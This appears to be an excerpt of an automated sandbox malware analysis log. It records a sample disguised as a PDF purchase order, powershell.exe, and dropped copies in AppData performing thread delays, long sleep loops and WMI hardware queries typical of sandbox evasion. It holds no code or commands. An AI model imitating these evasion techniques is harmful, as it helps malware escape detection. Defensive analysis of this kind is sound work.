Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3603	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4600	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 387	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Window / User API: threadDelayed 5638	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Window / User API: threadDelayed 4186	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Window / User API: threadDelayed 3490
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Window / User API: threadDelayed 6360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Window / User API: threadDelayed 4235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Window / User API: threadDelayed 5217
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Window / User API: threadDelayed 3595
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Window / User API: threadDelayed 6197

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7664	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599743s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598963s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598733s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598462s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -598013s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -597012s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596273s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -596042s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595679s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595534s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595418s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595294s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595152s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -594046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -593936s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe TID: 7056	Thread sleep time: -593812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 6172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599890s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599781s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599671s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599561s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599449s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599343s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599234s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599125s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -599015s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598906s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598797s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598687s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598576s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598469s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598318s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598134s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -598002s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -597890s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -597775s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -597672s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -597168s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -597062s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596952s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596843s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596734s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596595s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596469s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596344s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596234s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596122s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -596015s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -595906s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -595797s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -595687s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -595568s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594729s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594625s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594511s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594406s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594297s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594187s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -594073s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593953s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593843s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593734s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593625s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593515s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593402s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593297s >= -30000s
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe TID: 1592	Thread sleep time: -593187s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 1832	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 7784	Thread sleep count: 4235 > 30
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 7784	Thread sleep count: 5217 > 30
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599766s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599641s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599529s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599422s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599313s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599188s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -599063s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598938s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598828s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598719s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598594s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598484s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598375s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598155s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -598008s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597906s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597797s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597688s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597563s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597438s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597328s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597219s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -597094s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596984s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596875s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596766s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596656s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596547s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596437s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596328s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596219s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -596094s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595984s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595869s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595719s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595608s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595500s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595371s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -595151s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594985s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594813s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594656s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594547s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594437s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594328s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594200s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -594092s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -593982s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3240	Thread sleep time: -593874s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 3972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599891s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599766s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599641s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599516s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599406s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599297s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599188s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -599063s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598938s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598828s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598719s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598594s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598485s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598360s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598235s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -598110s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597985s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597860s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597735s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597610s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597485s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597360s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597235s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -597110s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596985s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596860s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596735s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596610s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596485s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596360s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596235s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -596110s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595985s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595860s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595675s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595562s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595453s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595339s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595235s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -595110s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594985s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594860s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594735s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594610s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594485s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594360s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594235s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -594110s >= -30000s
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe TID: 5096	Thread sleep time: -593985s >= -30000s

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
